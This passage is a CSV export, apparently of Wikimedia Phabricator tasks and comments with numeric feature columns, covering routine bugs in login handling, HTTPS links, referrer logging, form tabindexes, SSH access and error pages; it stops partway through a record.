+100965,automatic login to private wiki raises APIError on the second failed login,"If an automatic login to a private (read denied) is attempted twice, the first action will raise NoUsername, but the second login will raise APIError.",High,80.0,1433138937,1589209181.0,PHID-USER-oxd6f6xemkuyttw7z7wl,False,PHID-USER-p2ebbrj45wupyi25othr,False,PHID-TASK-kbebds5pefc7j3cqlqxz,task_description,invalid,True,c3,1,True,False,False,-5,True,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+1511074,automatic login to private wiki raises APIError on the second failed login,"Change 215000 abandoned by Xqt:
+[FIX] APISite: Reset loginstatus
+
+Reason:
+already solved
+
+[[https://gerrit.wikimedia.org/r/215000]]",,,1590494747,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-kbebds5pefc7j3cqlqxz,task_subcomment,,True,c3,3,False,,,255,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+1501082,automatic login to private wiki raises APIError on the second failed login,"Change 143038 abandoned by Xqt:
+site._loginstatus - login process and caching
+
+Reason:
+very outdated
+
+[[https://gerrit.wikimedia.org/r/143038]]",,,1589211308,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-kbebds5pefc7j3cqlqxz,task_subcomment,,True,c3,3,False,,,253,True,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,1
+1501084,automatic login to private wiki raises APIError on the second failed login,"I can see only a little sysopnames connection here or in the patch. The whole point is resetting the login status on failure, which is a clever idea. But anyway issues like these are still present, but the output changed since then drastically so it would be hard to recognize the newly occuring issue is a dupe of this one.",,,1589211352,,PHID-USER-dcexrhjioxqqsq4pdrfe,False,,,PHID-TASK-kbebds5pefc7j3cqlqxz,task_subcomment,,True,c3,3,False,,,253,True,0,0,0,0,0,1,1,0,0,0,1,0,0,1,0,1,0,1,1,0,1,0,1,0,1,0,0,0,1,1,0,1,1,1,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,1,1,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,1,1,0,1,0,0,0
+1501079,automatic login to private wiki raises APIError on the second failed login,"I can see no sysopnames connection here or in the patch. The whole point is resetting the login status on failure, which is a clever idea. But anyway issues like these are still present, but the output changed since then drastically so it would be hard to recognize the newly occuring issue is a dupe of this one.",,,1589211071,,PHID-USER-dcexrhjioxqqsq4pdrfe,False,,,PHID-TASK-kbebds5pefc7j3cqlqxz,task_subcomment,,True,c3,3,False,,,253,True,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,1,0,1,0,0,0,1,1,0,1,1,1,0,0,0,1,0,0,1,0,0,1,0,1,0,0,0,1,1,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,1,1,0,1,0,0,0
+1501078,automatic login to private wiki raises APIError on the second failed login,"I can see no sysopnames connection here or in the patch. The whole point is resetting the login status on failure, which is a clever idea. But anyway issues like these are still present, but the output changed since then drastically.",,,1589211047,,PHID-USER-dcexrhjioxqqsq4pdrfe,False,,,PHID-TASK-kbebds5pefc7j3cqlqxz,task_subcomment,,True,c3,3,False,,,253,True,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,1,0,1,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,1,0,0,1,0,0,0,0,0,1,1,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,1,1,0,1,0,0,0
+1501048,automatic login to private wiki raises APIError on the second failed login,"Judging by the associated patch, this was related to the ""sysopnames"" feature of bot logins, which we have since deprecated and removed (see T71283). I am going to mark it as Invalid given how much the code has moved forward since this task was created. Can always be reopened if the issue still matters.",,,1589209181,,PHID-USER-p2ebbrj45wupyi25othr,False,,,PHID-TASK-kbebds5pefc7j3cqlqxz,task_subcomment,,True,c3,3,True,,,253,True,1,0,0,1,0,1,0,0,0,1,1,0,0,0,0,1,0,1,1,0,1,0,1,0,1,1,0,0,1,0,0,1,1,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,1,0,0,1,0,0,0
+467358,automatic login to private wiki raises APIError on the second failed login,"Change 143038 had a related patch set uploaded (by John Vandenberg):
+site._loginstatus - login process and caching
+
+[[https://gerrit.wikimedia.org/r/143038]]
+",,,1433243718,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-kbebds5pefc7j3cqlqxz,task_subcomment,,True,c3,1,False,,,-5,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,1,0,0,1
+466623,automatic login to private wiki raises APIError on the second failed login,"Change 215000 had a related patch set uploaded (by XZise):
+[FIX] APISite: Reset loginstatus
+
+[[https://gerrit.wikimedia.org/r/215000]]
+",,,1433155482,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-kbebds5pefc7j3cqlqxz,task_subcomment,,True,c3,1,False,,,-5,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+466619,automatic login to private wiki raises APIError on the second failed login,Ah the site's `_loginstatus` is -2 (`IN_PROGRESS`). Seems like the status is not properly changed.,,,1433154699,,PHID-USER-7fndkemmavweiht5ybfd,False,,,PHID-TASK-kbebds5pefc7j3cqlqxz,task_subcomment,,True,c3,1,True,,,-5,True,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0
+466618,automatic login to private wiki raises APIError on the second failed login,Ah the site's `_loginstatus` is -2 (`IN_PROGRESS`). Seems like the status is not properly changed,,,1433154690,,PHID-USER-7fndkemmavweiht5ybfd,False,,,PHID-TASK-kbebds5pefc7j3cqlqxz,task_subcomment,,True,c3,1,True,,,-5,True,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0
+466594,automatic login to private wiki raises APIError on the second failed login,I'm currently guessing but it does sort of make sense. The second APIError happens probably because after the first failed login the API knows that login doesn't work and doesn't attempt to login but just reraises the possible APIError caught in the first attempt.,,,1433152370,,PHID-USER-7fndkemmavweiht5ybfd,False,,,PHID-TASK-kbebds5pefc7j3cqlqxz,task_subcomment,,True,c3,1,True,,,-5,True,0,0,0,0,1,1,0,1,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,1,0,1,0,1,0,0,1,1,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,1,0,0,0
+99343,Link to switch back to desktop in mobile view is forcing HTTP even if viewing over HTTPS,"Visit <https://en.m.wikipedia.org/wiki/Clebsch%E2%80%93Gordan_coefficients>
+
+At the bottom of the page is `<li>Mobile</li><li><a id=""mw-mf-display-toggle"" href=""http://en.wikipedia.org/w/index.php?title=Clebsch%E2%80%93Gordan_coefficients&amp;mobileaction=toggle_view_desktop"">Desktop</a></li>`
+
+This was reported via OTRS ticket #2015050410022502.",High,80.0,1431754350,1432800151.0,PHID-USER-v7vgzvvcw7v2umf737ri,False,PHID-USER-w3pd7vqenmta6vpmhwcn,False,PHID-TASK-6pnividm7oojpkgn5cc2,task_description,resolved,True,c3,1,True,False,True,-7,True,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,1,1,0,1,0,0,1,1,0,1,0,0,1,0,1,0,0,0,0,1
+462791,Link to switch back to desktop in mobile view is forcing HTTP even if viewing over HTTPS,"Okay, so that's done. I do wonder about this code in includes/models/MobilePage.php though:
+```lang=php
+					$imgUrl = wfExpandUrl( $thumb->getUrl(), PROTO_CURRENT );
+					if ( $useBackgroundImage ) {
+						$props['style'] = 'background-image: url(""' . wfExpandUrl( $imgUrl, PROTO_CURRENT ) . '"")';
+						$text = '';
+					}```",,,1432431890,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-6pnividm7oojpkgn5cc2,task_subcomment,,True,c3,1,True,,,-6,True,0,0,0,0,0,0,0,0,1,1,1,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,1,1,0,0,1,1,1,0,1,0,1,0,0,0,0,1,0,0,1
+462764,Link to switch back to desktop in mobile view is forcing HTTP even if viewing over HTTPS,"Change 213190 merged by jenkins-bot:
+Have link to switch back to desktop view be protocol-relative
+
+[[https://gerrit.wikimedia.org/r/213190]]",,,1432426387,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-6pnividm7oojpkgn5cc2,task_subcomment,,True,c3,1,False,,,-6,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+462761,Link to switch back to desktop in mobile view is forcing HTTP even if viewing over HTTPS,"Change 213190 had a related patch set uploaded (by Legoktm):
+Have link to switch back to desktop view be protocol-relative
+
+[[https://gerrit.wikimedia.org/r/213190]]
+",,,1432425546,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-6pnividm7oojpkgn5cc2,task_subcomment,,True,c3,1,False,,,-6,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+459991,Link to switch back to desktop in mobile view is forcing HTTP even if viewing over HTTPS,">>! In T99343#1291989, @Krenair wrote:
+> There are some other issues though - `grep http: i18n/* | wc -l` through the MobileFrontend returns a lot of insecure links to Wikipedias or foundationwiki.
+
+Try checking it while logged out.",,,1431878271,,PHID-USER-lsveyqlsb4acoowxr5yj,False,,,PHID-TASK-6pnividm7oojpkgn5cc2,task_subcomment,,True,c3,1,True,,,-7,True,1,0,0,0,0,1,1,0,1,0,1,0,0,0,1,0,0,1,1,0,0,0,1,0,1,0,0,0,0,0,0,1,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,1,1,1,1,0,0,1,0,1,0,0,0,1,1,1,0,0,1,1,0,0,1,0,1,0,0,1
+459986,Link to switch back to desktop in mobile view is forcing HTTP even if viewing over HTTPS,There are some other issues though - `grep http: i18n/* | wc -l` through the MobileFrontend returns a lot of insecure links to Wikipedias or foundationwiki.,,,1431874030,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-6pnividm7oojpkgn5cc2,task_subcomment,,True,c3,1,True,,,-7,True,1,0,0,0,0,1,1,0,1,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,1
+459984,Link to switch back to desktop in mobile view is forcing HTTP even if viewing over HTTPS,Shows as HTTPS for me...,,,1431871875,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-6pnividm7oojpkgn5cc2,task_subcomment,,True,c3,1,True,,,-7,True,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,0,0,0,1,0,0,0,0
+99154,Login/Signup buttons don't work on beta labs,"Steps to reproduce:
+
+1. Visit http://en.m.wikipedia.beta.wmflabs.org/wiki/Golden_Gate_Bridge
+2. Make sure you're logged out
+3. Click on the 'Edit' icon
+4. Click on 'Log in' or 'Sign up' buttons in the overlay that appears
+5. You may click as many times as you want, you'll never be taken to the login/signup page ;)",High,80.0,1431644709,1431650073.0,PHID-USER-grftjc3ekkyjf6bwlsqi,False,PHID-USER-c5xwrfdyp3dckkh2nkoj,False,PHID-TASK-dg5iye4ase6hmziqiey7,task_description,resolved,True,c3,1,False,False,True,-7,True,1,0,0,1,0,1,0,0,0,0,1,1,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,1,1,0,1,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,1,1,1,0,1,1,0,1,0,0,1,0,1,0,1,1,1,0,1,0,1,1,1,0,0,0,0,0,1
+461104,Login/Signup buttons don't work on beta labs,"Change 212196 merged by jenkins-bot:
+Add login and signup urls to the editor overlay for anons
+
+[[https://gerrit.wikimedia.org/r/212196]]",,,1432072233,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-dg5iye4ase6hmziqiey7,task_subcomment,,True,c3,1,False,,,-7,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1
+461099,Login/Signup buttons don't work on beta labs,"Change 212196 had a related patch set uploaded (by Kaldari):
+Add login and signup urls to the editor overlay for anons
+
+[[https://gerrit.wikimedia.org/r/212196]]
+",,,1432071538,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-dg5iye4ase6hmziqiey7,task_subcomment,,True,c3,1,False,,,-7,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+461072,Login/Signup buttons don't work on beta labs,"Change 212171 merged by jenkins-bot:
+Add login and signup urls to the editor overlay for anons
+
+[[https://gerrit.wikimedia.org/r/212171]]",,,1432068093,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-dg5iye4ase6hmziqiey7,task_subcomment,,True,c3,1,False,,,-7,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+461069,Login/Signup buttons don't work on beta labs,"Change 212171 had a related patch set uploaded (by Kaldari):
+Add login and signup urls to the editor overlay for anons
+
+[[https://gerrit.wikimedia.org/r/212171]]
+",,,1432067855,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-dg5iye4ase6hmziqiey7,task_subcomment,,True,c3,1,False,,,-7,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+459067,Login/Signup buttons don't work on beta labs,"Change 211064 merged by jenkins-bot:
+Add login and signup urls to the editor overlay for anons
+
+[[https://gerrit.wikimedia.org/r/211064]]",,,1431650160,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-dg5iye4ase6hmziqiey7,task_subcomment,,True,c3,1,False,,,-7,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1
+459058,Login/Signup buttons don't work on beta labs,"Change 211064 had a related patch set uploaded (by Bmansurov):
+Add login and signup urls to the editor overlay for anons
+
+[[https://gerrit.wikimedia.org/r/211064]]
+",,,1431648026,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-dg5iye4ase6hmziqiey7,task_subcomment,,True,c3,1,False,,,-7,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+114148,Stop logging HTTP referrer,"DonationInterface tests the referrer to block certain (don't list here) URL patterns which basically guarantee that the transaction is fraud.  Keep that test, but never log or store the referrer.",Medium,50.0,1443549122,1444402090.0,PHID-USER-p6hvqn5njgnxuagekh4b,False,PHID-USER-p6hvqn5njgnxuagekh4b,False,PHID-TASK-3ooips3aompnb7dxmwxt,task_description,duplicate,True,c3,3,True,True,False,12,True,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0
+537346,Stop logging HTTP referrer,What if we rely on the weblog for this sort of investigation?  We could use a standard log analysis package...,,,1443549603,,PHID-USER-p6hvqn5njgnxuagekh4b,False,,,PHID-TASK-3ooips3aompnb7dxmwxt,task_subcomment,,True,c3,3,True,,,12,True,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,0,0,1,1,0,1,0,0,1,0,1,1,0,0,0,0,0
+537344,Stop logging HTTP referrer,"see https://gerrit.wikimedia.org/r/232218/
+
+At least once, it's been useful to visit the referrer and investigate (some Chinese forum suggesting legit CC holders use a WP donation to see if their cards work overseas).  We should at least quit logging specific page views on WMF projects",,,1443549481,,PHID-USER-3jrdwh7dywughlcnir2i,False,,,PHID-TASK-3ooips3aompnb7dxmwxt,task_subcomment,,True,c3,3,True,,,12,True,1,0,0,0,0,1,1,0,0,1,0,1,0,0,0,1,0,1,1,0,1,1,0,0,0,0,0,1,0,0,1,1,1,1,1,0,0,0,0,1,0,1,1,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,0,1,0,1,0,1,0
+113866,Remove hardcoded tabindex for UserLogin form,"Currently (intrudced with [[ https://gerrit.wikimedia.org/r/#/c/240306/3 | this change ]]), ConfirmEdit uses a hardcoded tabindex for it's CAPTCHA field on Special:UserLogin (8). It would be better to replace this with a generic or self counting tabIndex, so we don't need to adjust it, whenever there are new fields added to the Login form (e.g. by core itself or other extensions).",Medium,50.0,1443310430,1465503669.0,PHID-USER-c5xwrfdyp3dckkh2nkoj,False,PHID-USER-a6p24cvyblhfzc7we7nc,False,PHID-TASK-nomqtyfhtthcvoqrra6e,task_description,resolved,True,c3,3,True,False,False,12,True,0,0,0,0,1,1,1,0,0,0,1,1,0,0,1,1,0,1,1,0,1,0,0,1,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,1,1,1,0,1,0,1
+677212,Remove hardcoded tabindex for UserLogin form,AuthManager generates tabindexes dynamically.,,,1465503669,,PHID-USER-a6p24cvyblhfzc7we7nc,False,,,PHID-TASK-nomqtyfhtthcvoqrra6e,task_subcomment,,True,c3,3,True,,,49,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0
+113451,Can't login into a newly created nova instance through ssh,"I have recently created a nova instance few minutes ago, but I can't login into it. It said I was denied because of the wrong public key.
+
+The target instance is https://wikitech.wikimedia.org/wiki/Nova_Resource:Vm-test1.nginx.eqiad.wmflabs.
+Here's the full log: http://pastebin.com/4D6ZbTA2",Medium,50.0,1442994694,1482280984.0,PHID-USER-ecpjgmrbfxvcanttpazu,False,PHID-USER-x7ti5ksby4ubsabntlxa,False,PHID-TASK-ukb2viitzlkjh4g5a7t3,task_description,resolved,True,c3,3,False,False,False,11,True,1,0,0,1,1,1,0,1,0,0,0,1,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,0,1,0,0,0,0,0
+781804,Can't login into a newly created nova instance through ssh,"actually, no, from reviewing the log it looks like this was a temporary issue (unable to connect to LDAP) and this was from over a year ago, so we can consider this long since resolved",,,1482280984,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-ukb2viitzlkjh4g5a7t3,task_subcomment,,True,c3,3,True,,,76,True,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,1,0,1,0,0,0,1,0,0,1,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,0,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,0
+781802,Can't login into a newly created nova instance through ssh,assigning to author for information,,,1482280859,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-ukb2viitzlkjh4g5a7t3,task_subcomment,,True,c3,3,True,,,76,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0
+544699,Can't login into a newly created nova instance through ssh,Is it still broken?,,,1444497510,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-ukb2viitzlkjh4g5a7t3,task_subcomment,,True,c3,3,True,,,14,True,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,0,0,0,0,1,1,0,1,0,0,1,0,1,0,0,1,0,0,0
+112908,Authenticate via the API for login steps,Authenticating via the API to satisfy test preconditions should be more reliable and faster than driving the browser. It also has the added benefit of not exposing credentials in the Selenium logs (see {T89353}).,Medium,50.0,1442506850,1442934396.0,PHID-USER-7bifphmxtcqgvdofuzla,False,PHID-USER-7bifphmxtcqgvdofuzla,False,PHID-TASK-szootqtj2wa72tc5big3,task_description,resolved,True,c3,3,True,True,True,11,True,0,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,1,1,0,0
+531293,Authenticate via the API for login steps,"Change 226950 merged by jenkins-bot:
+Login helper for fast API-based authentication
+
+[[https://gerrit.wikimedia.org/r/226950]]",,,1442841122,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-szootqtj2wa72tc5big3,task_subcomment,,True,c3,3,False,,,11,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+529499,Authenticate via the API for login steps,"Change 226950 had a related patch set uploaded (by Dduvall):
+Login helper for fast API-based authentication
+
+[[https://gerrit.wikimedia.org/r/226950]]
+",,,1442506925,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-szootqtj2wa72tc5big3,task_subcomment,,True,c3,3,False,,,11,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+112845,The usual WMF HTTP 500 error page is not displayed in the case of unhandled exceptions ,"Certain errors (unhandled exceptions, I guess) don't result in the usual WMF error page. See the description of T110878:
+
+> What is interesting is that on WMF sites, this doesn't show the usual ""Wikimedia Foundation error"" page, but instead shows a quasi-plain text response of a kind that I have never seen before: https://www.mediawiki.org/wiki/Special:WhatLinksHere/Media:Wiki.png The HTML source of the returned page is exactly the following:
+> ```MediaWiki internal error.<br />
+><br />
+>Exception caught inside exception handler.<br />
+><br />
+>Set $wgShowExceptionDetails = true; at the bottom of LocalSettings.php to show detailed debugging information.<br />```
+
